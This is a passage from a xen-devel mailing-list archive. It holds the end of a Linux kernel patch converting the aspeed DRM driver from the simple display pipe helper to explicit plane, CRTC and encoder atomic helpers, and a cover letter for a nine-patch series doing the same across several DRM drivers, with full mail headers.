-	struct aspeed_gfx *priv = drm_pipe_to_aspeed_gfx(pipe);
-	struct drm_crtc *crtc = &pipe->crtc;
+	struct aspeed_gfx *priv = container_of(crtc, struct aspeed_gfx, crtc);
 
 	drm_crtc_vblank_off(crtc);
 	aspeed_gfx_disable_controller(priv);
 }
 
-static void aspeed_gfx_pipe_update(struct drm_simple_display_pipe *pipe,
-				   struct drm_plane_state *plane_state)
+static void aspeed_gfx_plane_helper_atomic_update(struct drm_plane *plane,
+						  struct drm_atomic_commit *state)
 {
-	struct aspeed_gfx *priv = drm_pipe_to_aspeed_gfx(pipe);
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_framebuffer *fb = pipe->plane.state->fb;
+	struct aspeed_gfx *priv = container_of(plane, struct aspeed_gfx, plane);
+	struct drm_crtc *crtc = &priv->crtc;
+	struct drm_framebuffer *fb = plane->state->fb;
 	struct drm_pending_vblank_event *event;
 	struct drm_gem_dma_object *gem;
 
@@ -190,9 +183,9 @@ static void aspeed_gfx_pipe_update(struct drm_simple_display_pipe *pipe,
 	writel(gem->dma_addr, priv->base + CRT_ADDR);
 }
 
-static int aspeed_gfx_enable_vblank(struct drm_simple_display_pipe *pipe)
+static int aspeed_gfx_crtc_enable_vblank(struct drm_crtc *crtc)
 {
-	struct aspeed_gfx *priv = drm_pipe_to_aspeed_gfx(pipe);
+	struct aspeed_gfx *priv = container_of(crtc, struct aspeed_gfx, crtc);
 	u32 reg = readl(priv->base + CRT_CTRL1);
 
 	/* Clear pending VBLANK IRQ */
@@ -204,9 +197,9 @@ static int aspeed_gfx_enable_vblank(struct drm_simple_display_pipe *pipe)
 	return 0;
 }
 
-static void aspeed_gfx_disable_vblank(struct drm_simple_display_pipe *pipe)
+static void aspeed_gfx_crtc_disable_vblank(struct drm_crtc *crtc)
 {
-	struct aspeed_gfx *priv = drm_pipe_to_aspeed_gfx(pipe);
+	struct aspeed_gfx *priv = container_of(crtc, struct aspeed_gfx, crtc);
 	u32 reg = readl(priv->base + CRT_CTRL1);
 
 	reg &= ~CRT_CTRL_VERTICAL_INTR_EN;
@@ -216,12 +209,75 @@ static void aspeed_gfx_disable_vblank(struct drm_simple_display_pipe *pipe)
 	writel(reg | CRT_CTRL_VERTICAL_INTR_STS, priv->base + CRT_CTRL1);
 }
 
-static const struct drm_simple_display_pipe_funcs aspeed_gfx_funcs = {
-	.enable		= aspeed_gfx_pipe_enable,
-	.disable	= aspeed_gfx_pipe_disable,
-	.update		= aspeed_gfx_pipe_update,
-	.enable_vblank	= aspeed_gfx_enable_vblank,
-	.disable_vblank	= aspeed_gfx_disable_vblank,
+static int aspeed_gfx_plane_helper_atomic_check(struct drm_plane *plane,
+						struct drm_atomic_commit *state)
+{
+	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(state, plane);
+	struct drm_crtc *crtc = plane_state->crtc;
+	struct drm_crtc_state *crtc_state = NULL;
+	int ret;
+
+	if (crtc)
+		crtc_state = drm_atomic_get_new_crtc_state(state, crtc);
+
+	ret = drm_atomic_helper_check_plane_state(plane_state, crtc_state,
+						  DRM_PLANE_NO_SCALING,
+						  DRM_PLANE_NO_SCALING,
+						  false, false);
+	return ret;
+}
+
+static const struct drm_plane_helper_funcs aspeed_gfx_plane_helper_funcs = {
+	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
+	.atomic_check	= aspeed_gfx_plane_helper_atomic_check,
+	.atomic_update	= aspeed_gfx_plane_helper_atomic_update,
+};
+
+static const struct drm_plane_funcs aspeed_gfx_plane_funcs = {
+	.update_plane		= drm_atomic_helper_update_plane,
+	.disable_plane		= drm_atomic_helper_disable_plane,
+	.destroy		= drm_plane_cleanup,
+	.reset			= drm_atomic_helper_plane_reset,
+	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
+};
+
+static int aspeed_gfx_crtc_helper_atomic_check(struct drm_crtc *crtc,
+					       struct drm_atomic_commit *state)
+{
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(state, crtc);
+	int ret;
+
+	if (!crtc_state->enable)
+		goto out;
+
+	ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
+	if (ret)
+		return ret;
+
+out:
+	return drm_atomic_add_affected_planes(state, crtc);
+}
+
+static const struct drm_crtc_helper_funcs aspeed_gfx_crtc_helper_funcs = {
+	.atomic_check	= aspeed_gfx_crtc_helper_atomic_check,
+	.atomic_enable	= aspeed_gfx_crtc_helper_atomic_enable,
+	.atomic_disable	= aspeed_gfx_crtc_helper_atomic_disable,
+};
+
+static const struct drm_crtc_funcs aspeed_gfx_crtc_funcs = {
+	.reset			= drm_atomic_helper_crtc_reset,
+	.destroy		= drm_crtc_cleanup,
+	.set_config		= drm_atomic_helper_set_config,
+	.page_flip		= drm_atomic_helper_page_flip,
+	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
+	.enable_vblank		= aspeed_gfx_crtc_enable_vblank,
+	.disable_vblank		= aspeed_gfx_crtc_disable_vblank,
+};
+
+static const struct drm_encoder_funcs aspeed_gfx_encoder_funcs = {
+	.destroy = drm_encoder_cleanup,
 };
 
 static const uint32_t aspeed_gfx_formats[] = {
@@ -232,10 +288,36 @@ static const uint32_t aspeed_gfx_formats[] = {
 int aspeed_gfx_create_pipe(struct drm_device *drm)
 {
 	struct aspeed_gfx *priv = to_aspeed_gfx(drm);
+	struct drm_plane *plane = &priv->plane;
+	struct drm_crtc *crtc = &priv->crtc;
+	struct drm_encoder *encoder = &priv->encoder;
+	int ret;
+
+	ret = drm_universal_plane_init(drm, plane, 0,
+				       &aspeed_gfx_plane_funcs,
+				       aspeed_gfx_formats,
+				       ARRAY_SIZE(aspeed_gfx_formats),
+				       NULL,
+				       DRM_PLANE_TYPE_PRIMARY, NULL);
+	if (ret)
+		return ret;
+	drm_plane_helper_add(plane, &aspeed_gfx_plane_helper_funcs);
+
+	ret = drm_crtc_init_with_planes(drm, crtc, plane, NULL,
+					&aspeed_gfx_crtc_funcs, NULL);
+	if (ret)
+		return ret;
+	drm_crtc_helper_add(crtc, &aspeed_gfx_crtc_helper_funcs);
+
+	ret = drm_encoder_init(drm, encoder, &aspeed_gfx_encoder_funcs,
+			       DRM_MODE_ENCODER_NONE, NULL);
+	if (ret)
+		return ret;
+	encoder->possible_crtcs = drm_crtc_mask(crtc);
+
+	ret = drm_connector_attach_encoder(&priv->connector, encoder);
+	if (ret)
+		return ret;
 
-	return drm_simple_display_pipe_init(drm, &priv->pipe, &aspeed_gfx_funcs,
-					    aspeed_gfx_formats,
-					    ARRAY_SIZE(aspeed_gfx_formats),
-					    NULL,
-					    &priv->connector);
+	return 0;
 }
diff --git a/drivers/gpu/drm/aspeed/aspeed_gfx_drv.c b/drivers/gpu/drm/aspeed/aspeed_gfx_drv.c
index 46094cca2974..b2d805f0c16d 100644
--- a/drivers/gpu/drm/aspeed/aspeed_gfx_drv.c
+++ b/drivers/gpu/drm/aspeed/aspeed_gfx_drv.c
@@ -21,7 +21,6 @@
 #include <drm/drm_gem_framebuffer_helper.h>
 #include <drm/drm_module.h>
 #include <drm/drm_probe_helper.h>
-#include <drm/drm_simple_kms_helper.h>
 #include <drm/drm_vblank.h>
 #include <drm/drm_drv.h>
 
@@ -130,7 +129,7 @@ static irqreturn_t aspeed_gfx_irq_handler(int irq, void *data)
 	reg = readl(priv->base + CRT_CTRL1);
 
 	if (reg & CRT_CTRL_VERTICAL_INTR_STS) {
-		drm_crtc_handle_vblank(&priv->pipe.crtc);
+		drm_crtc_handle_vblank(&priv->crtc);
 		writel(reg, priv->base + priv->int_clr_reg);
 		return IRQ_HANDLED;
 	}

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 05 05:45:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 05 Jul 2026 05:45:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1354493.1609780 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgFfl-00031x-Tf; Sun, 05 Jul 2026 05:45:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1354493.1609780; Sun, 05 Jul 2026 05:45:45 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgFfl-00031l-OG; Sun, 05 Jul 2026 05:45:45 +0000
Received: by outflank-mailman (input) for mailman id 1354493;
 Sat, 04 Jul 2026 18:32:38 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wg5AL-0000Ou-Ub
 for xen-devel@lists.xenproject.org; Sat, 04 Jul 2026 18:32:38 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wg5AL-00CL1O-8B
 for xen-devel@lists.xenproject.org; Sat, 04 Jul 2026 20:32:37 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a49517c-e002-0a2a0a5209dd-0a2a4509e4e0-22
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 20:32:36 +0200
Received: from [205.220.180.131] (helo=mx0b-0031df01.pphosted.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a4951c3-97e6-0a2a45090019-cddcb483a6bc-3
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 20:32:36 +0200
Received: from pps.filterd (m0279869.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 664G8nkG3443179
 for <xen-devel@lists.xenproject.org>; Sat, 4 Jul 2026 18:32:35 GMT
Received: from mail-pf1-f197.google.com (mail-pf1-f197.google.com
 [209.85.210.197])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4f6s64hgst-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 18:32:34 +0000 (GMT)
Received: by mail-pf1-f197.google.com with SMTP id
 d2e1a72fcca58-847a5f03ff9so2433597b3a.0
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 11:32:34 -0700 (PDT)
Received: from [192.168.1.100] ([151.243.38.149])
 by smtp.gmail.com with ESMTPSA id
 d2e1a72fcca58-847f6b6057dsm1508437b3a.7.2026.07.04.11.32.26
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sat, 04 Jul 2026 11:32:31 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:Message-Id:MIME-Version:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:Content-Transfer-Encoding:MIME-Version:Message-Id:Date:Subject:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:message-id
	:mime-version:subject:to; s=qcppdkim1; bh=MltfzpfpaLuZDnkNZx+Lb6
	VWJ4GPL8eKrD3GSx0ATGM=; b=CSEUNTWN1DlO1mccs9tBOSMPvsm87QKPUuehKQ
	4K6kTjt1FKnv2ec0M8Ysv/X+5cdqXiRHqij/ORCYEDmUr+Lvfqi2Bb10tvUqlWYK
	6bUxEtHDeSVXR1YlKacaMujOYA044wSdNr9b9B9nlb84ycDuDYWoCL+A2qahMRDh
	QaXY3ntdMFBxDIr+RrCRCbj6/BLG0BZQLRU8QJzw6wEZsRPcqLF+9/q4Kr6AjCvh
	6HdIKJwHHUAO8X324yL3sIeCAbzFf/FbdmaEFj/XSnPAux4wnR7Iw7HkLjguUK31
	c2tOSjRDtb3pqINNlxcgrFkpU1+GI/Hxp75MpAT7pOVePlMQ==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1783189954; x=1783794754; darn=lists.xenproject.org;
        h=cc:to:content-transfer-encoding:mime-version:message-id:date
         :subject:from:from:to:cc:subject:date:message-id:reply-to;
        bh=MltfzpfpaLuZDnkNZx+Lb6VWJ4GPL8eKrD3GSx0ATGM=;
        b=ZniHy6esaljV/yShb5FRMs68hXpsiXjuyfKXBlCpprVv94KA2sEWrt94NwqVK5ySoH
         HDwE6EeUUn3uRteSh5lcfqkBntoaYO4RkIv3N/0bAjQ5/iC9xz14C3epcW74DQO+oGhs
         9rSJpwWh2lMuZ+V0W7gmLSnQWYyJnRwE/9cYOgg+XWVIVja6X2bYhXJ9N012SRQkWycD
         Z61FPCqOLf2QnEbWRmXgQ67Hp6/ktxX3TrkS3Mjb5zZHyd/TL3NsrtMiofQdDKvN6+n5
         hNDMgBMpi8EUDYxMsQKPTc6iCStk96Sg+G0usFvC4N0Z/0VGxzdJQ0scQXG9TdLKBVpS
         33cg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783189954; x=1783794754;
        h=cc:to:content-transfer-encoding:mime-version:message-id:date
         :subject:from:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=MltfzpfpaLuZDnkNZx+Lb6VWJ4GPL8eKrD3GSx0ATGM=;
        b=Ixh/Sj3aAAmKl3Ht+L5QtSyZOtzfFaLQp97DD7Hx7kgeEM22nsn84btNnVYwNtk1YT
         b/uAbFcVtPefUDBJOqncgC/q3q7tM+TL9QXFVJvsU5N5IiDfXGHcgZL9YO2dT/ETfQM7
         FOfu//ulrj11lV2aUW3zjqDZA8/cOizU8PnP678Yq3QPgjWhfaxUzKvhogpkmMKeFZw/
         pUstn0+oZ4VqQEGqTvHdPUJuI3lBuR9VAljoYwpxJcd4u9r3Kj3QjpMCnLSqA1BpP47r
         0QRLozwsC/2LtE4GRjBVohV91jskeH/4TT00ulSNsf2Y/Yd/DZeHzGlYZrk6KogXjFBs
         OFKA==
X-Forwarded-Encrypted: i=1; AFNElJ/fZr295u5LEeTV0GyH0wGwf2Y3oATG/NXLI8mSG2jVtk0XQAE3OM2V+f+GHJjt3n+2Ew6j1roVKZA=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yw5rCTYFwbJ4e5OPKeoTZ5vOyGlDPTiC+8nAVJYObkch2xhMMgW
	+4vOOd7Rc0tZe3HuC0EOSJGxBsdzqdpeGCtMt3Q/6KcvntxbPLXPf7qMsPxulGWBuBcVM1Yu4rc
	L8qwarez/pdAAP9BdlPH6nCuTuL4gqksRBxlLgG0RDbYPG4opBsapVynnFElK1fpCoO2hSg==
X-Gm-Gg: AfdE7cmyH9q23j74jlrZgQzC1bSw373JQ0WSA5RS9iAc4mUY1oy67QCTja9Pq6sEzH6
	5fxHzCzEhPy5LY7CXyaKJR2rLXzbff/IZ2wLOrJRPLiOp4y1/dFQlwz16V0c/XvlKzdFx9PYDXo
	ntFvHHTzYdTxP0i2hvgo06hQhklhi78uyzS5Tndt9uKvJaiwuKZ/aU7FFbI4g9hfWaZtzTBcfkz
	bBKh+6m7QsBG5kCbJtTt23HFEhWbXtA2q3whkGmQEb+cCEvmrhVd8ZKYKy2C7MAlFzfL+sgsBCZ
	zqSJdeueznO3xFB9wPyc+f2oB5iHz+rXmuwlVHPFLxp7tx2NDKGusW9XYWdjRPbUGzd82cSHWd2
	du5K/RZncxcNRP6L6ZaBkGDY=
X-Received: by 2002:a05:6a00:1881:b0:845:ebbf:e7be with SMTP id d2e1a72fcca58-847f6dd3dd7mr3575642b3a.23.1783189953620;
        Sat, 04 Jul 2026 11:32:33 -0700 (PDT)
X-Received: by 2002:a05:6a00:1881:b0:845:ebbf:e7be with SMTP id d2e1a72fcca58-847f6dd3dd7mr3575622b3a.23.1783189953074;
        Sat, 04 Jul 2026 11:32:33 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Subject: [PATCH 0/9] drm: replace simple display pipe users with atomic
 helpers
Date: Sun, 05 Jul 2026 02:31:09 +0800
Message-Id: <20260705-drm-simple-kms-removal-v1-0-b4e1ca053623@oss.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-B4-Tracking: v=1; b=H4sIAAAAAAAC/y2NQQ6CMBBFr0Jm7SRtNRC5imFRyqijFLBTCAnh7
 rbi8iX/v7eBUGASqIsNAi0sPA4J9KkA97TDg5C7xGCUKVWlLtgFj8J+6gnfXjCQHxfbo9JWnbU
 rrTZXSOcp0J3Xn/jWHCxz+yIXs+2/CPSZUzEeM2itELrRe451kTsDrRFzGVWJpoJm37+GdJ5Cs
 QAAAA==
X-Change-ID: 20260704-drm-simple-kms-removal-01a031c6a129
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.15.2
X-Developer-Signature: v=1; a=ed25519-sha256; t=1783189912; l=3497;
 i=ze.huang@oss.qualcomm.com; s=20260704; h=from:subject:message-id;
 bh=a3oJlDmIy4JLxHP8+Zy827sxSxkG1qtSrEiIUv8u7fM=;
 b=oTFO2p3qM2CB2fGh5FbCqHWfsLjAUpA01rJUrP5DdH2raMv7Em7rY0rPoVQz7ExoGxuGHOYTD
 NpzXPoGsHqtBE5XHc7JyEmeSHN8I2421kM7XwjgHHvZaekp39t8rsAh
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=pSsISLZF2ubEjJRmslsa6Ps4W3yAuPY7yaircQTlQQU=
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzA0MDE5MiBTYWx0ZWRfXzTq4yP5oAQuM
 Yv1EchNIimilWVTX03AiQ0Xzf4zdmg9jNbc6qcUuzM04nszphwbZM4UtVYLc7ITadbUpg9BQ+FQ
 W1i0/xdc0+CITg9nccWVAK8YqfPa9xeo2e/q4BaCsaNdDRAQh2QKlqE9M4PxWiC3uqGnmIOp5Pv
 vXiyLqQb4Gh2LU1iAxP8aMTjDZkCQPQjLIgbwUAnFNp+xI1f4idHfEzhKtbJNJAIgd0E0zitcEb
 7/fe4xvkMe3vSE2KJX5OT7suQpNLmJh8pzlYoG3rlwAo2gm1+Q6NTX+WlM5mMgQF9fnXHtgEP8h
 qQzGnGbM1RuKtRq8X04XzE12m0F1GQjzdlA0GZHF6/qRCHYcLutzDn+1xlcgw5Np2dOxHv8CzSk
 QKJOnA2daWhUk5pzH2WLVSg9WbedJrR5pBjAaWhw9tzeI30fphyga626OFPLR49b9Rvzwgwl1ty
 opFrFoe3dggIRbJJWSQ==
X-Authority-Analysis: v=2.4 cv=VvITxe2n c=1 sm=1 tr=0 ts=6a4951c2 cx=c_pps
 a=rEQLjTOiSrHUhVqRoksmgQ==:117 a=cNux22OjBTKCC6TmznXXXA==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=_glEPmIy2e8OvE2BGh3C:22
 a=EUspDBNiAAAA:8 a=mcgfQexBA9BlAWrkqKUA:9 a=QEXdDO2ut3YA:10
 a=2VI0MkxyNR6bbpdq8BZq:22
X-Proofpoint-ORIG-GUID: tKVbD9uQAQUtYXwL2LMITimeJzy4d4BJ
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzA0MDE5MiBTYWx0ZWRfX73vPOeY3qeRH
 aRLFkcNPrIJJHvWNeXzOZJUpdmndvox2daKMkc28I2pJ5qjSIp2Gg/6upQ2QnOmIDdzsphakB10
 7NgD/I/lyKK634Kf0PqNArrgODiIik8=
X-Proofpoint-GUID: tKVbD9uQAQUtYXwL2LMITimeJzy4d4BJ
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.125,FMLib:17.12.100.49
 definitions=2026-07-04_02,2026-07-03_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 malwarescore=0 spamscore=0 suspectscore=0 bulkscore=0 adultscore=0
 priorityscore=1501 lowpriorityscore=0 phishscore=0 clxscore=1011
 impostorscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607040192
X-purgate-ID: tlsNG-bad1c0/1783189956-577AD986-1C371A6A/0/0
X-purgate-type: clean
X-purgate-size: 3499

struct drm_simple_display_pipe was meant to simplify simple DRM
drivers, but instead adds an extra wrapper around normal DRM atomic
helper setup. As noted in Documentation/gpu/todo.rst, remaining users
should be converted to regular atomic helpers and stop depending on the
simple-KMS interfaces.

This series converts the following drivers:

  - arcpgu
  - aspeed
  - imx lcdc
  - mcde
  - pl111
  - gm12u320
  - repaper
  - tve200
  - xen frontend

Each patch replaces drm_simple_display_pipe_init() with explicit
primary plane, CRTC and encoder setup, and moves the old simple-pipe
callbacks into regular plane and CRTC helper callbacks named according
to local driver conventions.

The conversions preserve helper behavior that used to be implicit in
drm_simple_kms_helper.c, including plane-state validation, CRTC
primary-plane checks, affected-plane propagation, framebuffer prepare
handling, and existing event/vblank flow where applicable.

Result is less helper indirection and more explicit driver-side atomic
wiring, with no remaining simple-KMS dependency in these drivers.

These changes are build-tested only. No hardware testing has been
performed on the affected devices.

This series is based on drm-next-2026-06-27.

Thanks,
Ze Huang

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
---
Ze Huang (9):
      drm/arcpgu: replace struct drm_simple_display_pipe with regular atomic helpers
      drm/aspeed: replace struct drm_simple_display_pipe with regular atomic helpers
      drm/imx: replace struct drm_simple_display_pipe with regular atomic helpers
      drm/mcde: replace struct drm_simple_display_pipe with regular atomic helpers
      drm/pl111: replace struct drm_simple_display_pipe with regular atomic helpers
      drm/gm12u320: replace struct drm_simple_display_pipe with regular atomic helpers
      drm/repaper: replace struct drm_simple_display_pipe with regular atomic helpers
      drm/tve200: replace struct drm_simple_display_pipe with regular atomic helpers
      drm/xen: replace struct drm_simple_display_pipe with regular atomic helpers

 drivers/gpu/drm/aspeed/aspeed_gfx.h      |   5 +-
 drivers/gpu/drm/aspeed/aspeed_gfx_crtc.c | 156 ++++++++++++++++------
 drivers/gpu/drm/aspeed/aspeed_gfx_drv.c  |   3 +-
 drivers/gpu/drm/imx/lcdc/imx-lcdc.c      | 178 ++++++++++++++++++-------
 drivers/gpu/drm/mcde/mcde_display.c      | 162 ++++++++++++++++------
 drivers/gpu/drm/mcde/mcde_drm.h          |   6 +-
 drivers/gpu/drm/mcde/mcde_drv.c          |   3 +-
 drivers/gpu/drm/pl111/pl111_display.c    | 174 ++++++++++++++++++------
 drivers/gpu/drm/pl111/pl111_drm.h        |   5 +-
 drivers/gpu/drm/pl111/pl111_drv.c        |   3 +-
 drivers/gpu/drm/tiny/arcpgu.c            | 165 ++++++++++++++++++-----
 drivers/gpu/drm/tiny/gm12u320.c          | 128 ++++++++++++++----
 drivers/gpu/drm/tiny/repaper.c           | 130 ++++++++++++++----
 drivers/gpu/drm/tve200/tve200_display.c  | 221 +++++++++++++++++++++----------
 drivers/gpu/drm/tve200/tve200_drm.h      |   6 +-
 drivers/gpu/drm/tve200/tve200_drv.c      |  17 ++-
 drivers/gpu/drm/xen/xen_drm_front.h      |   6 +-
 drivers/gpu/drm/xen/xen_drm_front_kms.c  | 177 +++++++++++++++++++------
 18 files changed, 1164 insertions(+), 381 deletions(-)
---
base-commit: 3696d07837d1df13a5603d77f667685e7dfb3c53
change-id: 20260704-drm-simple-kms-removal-01a031c6a129

Best regards,
--  
Ze Huang <ze.huang@oss.qualcomm.com>



From xen-devel-bounces@lists.xenproject.org Sun Jul 05 05:45:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 05 Jul 2026 05:45:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1354503.1609811 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgFfn-0003Qu-Bo; Sun, 05 Jul 2026 05:45:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1354503.1609811; Sun, 05 Jul 2026 05:45:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wgFfn-0003QR-1p; Sun, 05 Jul 2026 05:45:47 +0000
Received: by outflank-mailman (input) for mailman id 1354503;
 Sat, 04 Jul 2026 18:33:14 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wg5Aw-0000Sc-GV
 for xen-devel@lists.xenproject.org; Sat, 04 Jul 2026 18:33:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wg5Av-00CL1O-TP
 for xen-devel@lists.xenproject.org; Sat, 04 Jul 2026 20:33:13 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a495154-e002-0a2a0a5209dd-0a2a4502cdb2-38
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 20:33:13 +0200
Received: from [205.220.168.131] (helo=mx0a-0031df01.pphosted.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a4951e7-5a27-0a2a45020019-cddca8830856-3
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 20:33:13 +0200
Received: from pps.filterd (m0279865.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 664G9FhW3451801
 for <xen-devel@lists.xenproject.org>; Sat, 4 Jul 2026 18:33:11 GMT
Received: from mail-pf1-f199.google.com (mail-pf1-f199.google.com
 [209.85.210.199])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4f6s4ssfv0-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 18:33:10 +0000 (GMT)
Received: by mail-pf1-f199.google.com with SMTP id
 d2e1a72fcca58-84240683a82so1207815b3a.1
 for <xen-devel@lists.xenproject.org>; Sat, 04 Jul 2026 11:33:10 -0700 (PDT)
Received: from [192.168.1.100] ([151.243.38.149])
 by smtp.gmail.com with ESMTPSA id
 d2e1a72fcca58-847f6b6057dsm1508437b3a.7.2026.07.04.11.33.02
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sat, 04 Jul 2026 11:33:08 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
